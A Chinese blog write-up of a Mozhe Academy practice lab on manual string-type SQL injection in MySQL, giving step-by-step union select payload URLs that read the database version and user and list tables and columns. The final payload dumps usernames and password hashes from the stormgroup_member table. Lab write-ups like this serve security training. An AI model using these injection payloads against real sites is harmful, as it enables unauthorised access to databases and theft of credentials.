墨者学院—— SQL手工注入漏洞测试(MySQL数据库-字符型)

1.启动靶场环境,老地方点击
在这里插入图片描述
2.看地址栏,合理怀疑是否有注入点
在这里插入图片描述

这里插入知识点——怎么判断有注入点?
一般方法:
   and 1=1 正常   and 1=2 错误
   背后的原理是逻辑运算 真且真=真;真且假=假
   所以只需要让它能判断出假,就可以合理怀疑存在注入点
   比如:id=jhfjkashlk(瞎打的)

改成 id=jhdak 显示异常,有注入点
3.尝试简单使用order by 猜解列名数量,不成功

order by 之后我才判断了单引号闭合,也就是id=tingjigonggao’-- 1,页面显示正常,所以接下来的语句使用了 ’ 和 #

4.尝试使用union select,到第四个时,出现一下界面,说明有四列
在这里插入图片描述5.将2,3位置依次改为version()、database()、user()、@@version_compile_os,分别查询数据库版本、数据库名字、数据库用户、操作系统
在这里插入图片描述
数据库版本:10.2.15-MariaDB-log
数据库名字:mozhe_discuz_stormgroup
数据库用户:root@localhost
操作系统:Linux
6.查询指定数据库下的表名信息:
http://219.153.49.228:41349/new_list.php?id=’ union select ‘1’,group_concat(table_name),‘3’,‘4’ from information_schema.tables where table_schema='mozhe_discuz_stormgroup#

在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_ schema, 
它是一个存储记录有所有数据库名,表名,列名的数据库,
也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

在这里插入图片描述7.查询指定表名stormgroup_member下的信息:
http://219.153.49.228:41349/new_list.php?id=’ union select ‘1’,group_concat(column_name),‘3’,‘4’ from information_schema.columns where table_name=‘stormgroup_member#
在这里插入图片描述8.查询指定数据:
http://219.153.49.228:41349/new_list.php?id=’ union select ‘1’,group_concat(name),group_concat(password),‘4’ from stormgroup_member where ‘1’='1#
在这里插入图片描述9.将其解密,得到key

当然也可以使用sqlmap爆破,但是手工注入也有很大乐趣(maybe)

如果对您有帮助,帮忙点个赞吧~


版权声明:本文为Lollipop_zhi原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。